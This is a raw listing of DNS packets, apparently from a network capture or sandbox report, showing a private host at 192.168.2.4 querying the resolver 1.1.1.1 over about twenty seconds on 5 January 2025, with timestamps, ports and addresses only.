Jan 5, 2025 10:50:20.809135914 CET	53	62108	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:20.825246096 CET	49799	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:20.832391977 CET	53	49799	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:20.929733992 CET	51916	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:21.192979097 CET	53	51916	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:21.209330082 CET	56701	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:21.255446911 CET	53	56701	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:21.351722002 CET	52549	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:21.371644974 CET	53	52549	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:21.431617975 CET	58536	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:21.440280914 CET	53	58536	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:21.454040051 CET	58120	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:21.463068962 CET	53	58120	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:21.554641962 CET	56334	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:21.788604021 CET	53	56334	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:21.918164968 CET	50877	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:22.181391001 CET	53	50877	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:22.273144007 CET	56760	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:22.325500965 CET	53	56760	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:22.366121054 CET	53561	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:22.412671089 CET	53	53561	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:22.507730007 CET	49505	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:22.519254923 CET	53	49505	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:22.551434994 CET	62012	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:22.600574017 CET	53	62012	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:22.694672108 CET	62546	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:22.712965012 CET	53	62546	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:22.844763041 CET	63031	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:22.852971077 CET	53	63031	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:22.859261990 CET	55472	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:22.868112087 CET	53	55472	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:22.961981058 CET	58103	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:22.996820927 CET	53	58103	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:23.005623102 CET	50044	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:23.268476963 CET	53	50044	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:23.370398998 CET	59463	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:23.379542112 CET	53	59463	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:23.389473915 CET	50252	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:23.402242899 CET	53	50252	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:23.491729021 CET	49391	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:23.526842117 CET	53	49391	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:23.534109116 CET	56590	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:23.565562010 CET	53	56590	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:23.664051056 CET	54068	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:23.845124960 CET	53	54068	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:23.848458052 CET	57311	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:24.037673950 CET	53	57311	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:24.132365942 CET	51045	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:24.189349890 CET	53	51045	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:24.206166983 CET	50393	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:24.213331938 CET	53	50393	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:24.304058075 CET	59698	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:24.317559004 CET	53	59698	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:24.333268881 CET	52205	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:24.346826077 CET	53	52205	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:24.445307016 CET	51198	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:24.488095999 CET	53	51198	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:24.503637075 CET	52979	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:24.515033007 CET	53	52979	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:24.601082087 CET	64330	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:24.646230936 CET	53	64330	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:24.669591904 CET	54716	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:24.710560083 CET	53	54716	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:24.813780069 CET	56568	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:24.850646973 CET	53	56568	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:24.927303076 CET	57420	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:24.934428930 CET	53	57420	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:24.937719107 CET	57644	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:24.945209980 CET	53	57644	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:25.038594007 CET	50476	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:25.061352015 CET	53	50476	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:25.077152014 CET	63541	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:25.127454996 CET	53	63541	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:25.211035013 CET	49179	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:25.219533920 CET	53	49179	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:25.238729000 CET	63886	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:25.247416973 CET	53	63886	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:25.336298943 CET	49780	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:25.346515894 CET	53	49780	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:25.372319937 CET	57994	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:25.380748987 CET	53	57994	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:25.485728025 CET	50057	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:25.516812086 CET	53	50057	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:25.519752979 CET	55709	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:25.778306961 CET	53	55709	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:25.868776083 CET	50007	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:25.915764093 CET	53	50007	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:25.920469999 CET	52730	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:25.966130018 CET	53	52730	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:26.071086884 CET	49687	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:26.079963923 CET	53	49687	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:26.107959032 CET	50153	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:26.116998911 CET	53	50153	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:26.216835976 CET	57709	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:26.243942022 CET	53	57709	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:26.248336077 CET	49534	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:26.263180017 CET	53	49534	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:26.352169037 CET	51740	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:26.395469904 CET	53	51740	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:26.401140928 CET	54599	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:26.451565981 CET	53	54599	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:26.549983025 CET	52884	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:26.669362068 CET	53	52884	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:26.708836079 CET	59689	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:26.830851078 CET	53	59689	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:26.913804054 CET	59975	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:26.924978971 CET	53	59975	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:26.947591066 CET	54709	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:26.957372904 CET	53	54709	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:27.038930893 CET	58726	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:27.057825089 CET	53	58726	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:27.069916010 CET	63099	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:27.077301979 CET	53	63099	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:27.105797052 CET	55789	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:27.113307953 CET	53	55789	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:27.211935043 CET	49543	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:28.098488092 CET	53	49543	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:28.105088949 CET	62361	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:28.208379984 CET	53	62361	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:28.289424896 CET	51616	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:28.298221111 CET	53	51616	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:28.362710953 CET	59049	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:28.369740009 CET	53	59049	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:28.377145052 CET	59258	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:28.384352922 CET	53	59258	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:28.476517916 CET	55340	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:28.569924116 CET	53	55340	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:28.603535891 CET	51155	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:28.611193895 CET	53	51155	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:28.696826935 CET	56144	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:28.716861963 CET	53	56144	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:28.825558901 CET	50527	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:28.832706928 CET	53	50527	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:28.846695900 CET	57704	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:28.854435921 CET	53	57704	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:28.945033073 CET	61273	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:28.954211950 CET	53	61273	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:28.963711023 CET	53496	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:28.972553968 CET	53	53496	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:29.054044962 CET	54616	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:29.175247908 CET	53	54616	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:29.180104971 CET	61738	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:30.067707062 CET	53	61738	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:30.163718939 CET	52213	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:30.184050083 CET	53	52213	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:30.254174948 CET	56606	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:30.261372089 CET	53	56606	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:30.285600901 CET	56162	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:30.294619083 CET	53	56162	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:30.390260935 CET	59182	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:30.399986029 CET	53	59182	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:30.434448957 CET	58690	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:30.454400063 CET	53	58690	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:30.539094925 CET	53047	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:30.563579082 CET	53	53047	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:30.588929892 CET	55773	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:30.613470078 CET	53	55773	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:30.710686922 CET	59950	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:30.720302105 CET	53	59950	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:30.738857031 CET	56518	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:30.752511978 CET	53	56518	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:30.836307049 CET	62585	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:30.846668005 CET	53	62585	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:30.864331961 CET	54409	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:30.873492002 CET	53	54409	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:30.960834026 CET	60884	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:30.972202063 CET	53	60884	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:30.988584995 CET	49247	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:31.042427063 CET	53	49247	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:31.133935928 CET	50851	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:31.254719019 CET	53	50851	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:31.259294987 CET	59948	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:31.361839056 CET	53	59948	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:31.460500002 CET	51082	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:31.469496012 CET	53	51082	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:31.473808050 CET	56877	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:31.491112947 CET	53	56877	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:31.570161104 CET	63986	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:31.587632895 CET	53	63986	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:31.603318930 CET	63836	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:31.610681057 CET	53	63836	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:31.635629892 CET	50743	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:31.644566059 CET	53	50743	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:31.726068974 CET	62380	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:31.829384089 CET	53	62380	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:31.833734035 CET	53802	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:31.859750032 CET	53	53802	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:32.008606911 CET	50760	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:32.087119102 CET	53	50760	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:32.094696045 CET	52377	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:32.138576984 CET	53	52377	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:32.399629116 CET	54316	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:32.411506891 CET	53	54316	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:32.427213907 CET	60507	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:32.436563015 CET	53	60507	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:32.467909098 CET	59888	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:32.478595018 CET	53	59888	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:32.565762997 CET	64037	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:32.575639009 CET	53	64037	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:32.798341036 CET	51610	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:32.808039904 CET	53	51610	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:32.898355007 CET	54413	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:32.906966925 CET	53	54413	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:32.917073965 CET	64057	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:32.925319910 CET	53	64057	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:32.926721096 CET	60245	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:32.934510946 CET	53	60245	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:33.024987936 CET	54889	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:33.044147968 CET	53	54889	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:33.076849937 CET	49776	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:33.087384939 CET	53	49776	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:33.092149973 CET	52327	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:33.101438046 CET	53	52327	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:33.179629087 CET	61478	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:33.205787897 CET	53	61478	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:33.213589907 CET	54708	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:33.222666979 CET	53	54708	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:33.304366112 CET	55173	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:33.325939894 CET	53	55173	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:33.360796928 CET	50283	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:33.380913973 CET	53	50283	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:33.479085922 CET	51492	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:33.487416983 CET	53	51492	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:33.546113968 CET	64613	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:33.553384066 CET	53	64613	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:33.557178974 CET	55648	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:33.566059113 CET	53	55648	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:33.647667885 CET	62299	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:33.658823967 CET	53	62299	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:33.668139935 CET	54259	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:33.685199022 CET	53	54259	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:33.772866964 CET	61969	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:33.804991007 CET	53	61969	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:33.807282925 CET	55284	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:34.078104019 CET	53	55284	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:34.165694952 CET	54641	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:34.174267054 CET	53	54641	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:34.271445036 CET	61076	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:34.278769970 CET	53	61076	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:34.296447039 CET	65212	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:34.303596973 CET	53	65212	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:34.382060051 CET	49645	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:34.392714977 CET	53	49645	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:34.395463943 CET	56182	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:34.408268929 CET	53	56182	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:34.491641045 CET	54579	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:34.527992010 CET	53	54579	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:34.546242952 CET	64849	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:34.555763960 CET	53	64849	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:34.632558107 CET	55999	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:34.675079107 CET	53	55999	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:34.693476915 CET	58758	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:34.715291023 CET	53	58758	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:34.789767981 CET	57186	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:34.816838980 CET	53	57186	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:34.849607944 CET	53474	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:34.970829010 CET	53	53474	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:35.054251909 CET	53495	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:35.115489960 CET	53	53495	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:35.137270927 CET	62926	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:35.146876097 CET	53	62926	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:35.159322977 CET	52171	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:35.168596029 CET	53	52171	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:35.241617918 CET	62014	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:35.301444054 CET	53	62014	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:35.328778028 CET	55097	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:35.337219000 CET	53	55097	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:35.341351986 CET	49521	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:35.348457098 CET	53	49521	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:35.441143036 CET	63447	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:35.460529089 CET	53	63447	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:35.646323919 CET	52970	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:35.653439045 CET	53	52970	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:35.656971931 CET	60482	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:35.665179014 CET	53	60482	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:35.742436886 CET	64878	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:35.754010916 CET	53	64878	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:35.762700081 CET	61040	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:35.788479090 CET	53	61040	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:35.866825104 CET	63386	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:36.128504992 CET	53	63386	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:36.180038929 CET	50486	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:36.215116024 CET	53	50486	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:36.288393974 CET	55835	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:36.307480097 CET	53	55835	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:36.316750050 CET	52766	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:36.323998928 CET	53	52766	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:36.336000919 CET	63380	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:36.343058109 CET	53	63380	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:36.414071083 CET	58967	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:36.682590008 CET	53	58967	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:36.688843012 CET	60095	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:36.745918036 CET	53	60095	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:36.820112944 CET	51154	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:36.839199066 CET	53	51154	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:36.859014988 CET	58958	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:36.866000891 CET	53	58958	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:36.888889074 CET	56136	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:36.896251917 CET	53	56136	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:36.977531910 CET	62396	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:36.989540100 CET	53	62396	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:37.001199961 CET	62226	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:37.013398886 CET	53	62226	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:37.086585045 CET	56307	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:37.097070932 CET	53	56307	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:37.140360117 CET	57802	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:37.147270918 CET	53	57802	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:37.148380995 CET	58660	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:37.155503035 CET	53	58660	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:37.241641045 CET	55762	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:37.426179886 CET	53	55762	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:37.440731049 CET	61926	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:38.217226982 CET	53	61926	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:38.288538933 CET	49582	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:38.298053980 CET	53	49582	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:38.327306032 CET	57550	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:38.335479021 CET	53	57550	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:38.413484097 CET	55481	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:38.431159019 CET	53	55481	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:38.433319092 CET	62857	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:38.461085081 CET	53	62857	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:38.539593935 CET	54867	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:38.557256937 CET	53	54867	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:38.718354940 CET	59890	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:38.725620031 CET	53	59890	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:38.865469933 CET	59855	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:38.873531103 CET	53	59855	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:38.951561928 CET	59941	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:38.961128950 CET	53	59941	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:39.018255949 CET	53419	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:39.027381897 CET	53	53419	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:39.383217096 CET	50589	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:39.391841888 CET	53	50589	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:39.419230938 CET	59580	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:39.456756115 CET	53	59580	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:39.538407087 CET	59071	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:39.558775902 CET	53	59071	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:39.577442884 CET	60963	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:50:39.598956108 CET	53	60963	1.1.1.1	192.168.2.4
Jan 5, 2025 10:50:39.679511070 CET	60765	53	192.168.2.4	1.1.1.1
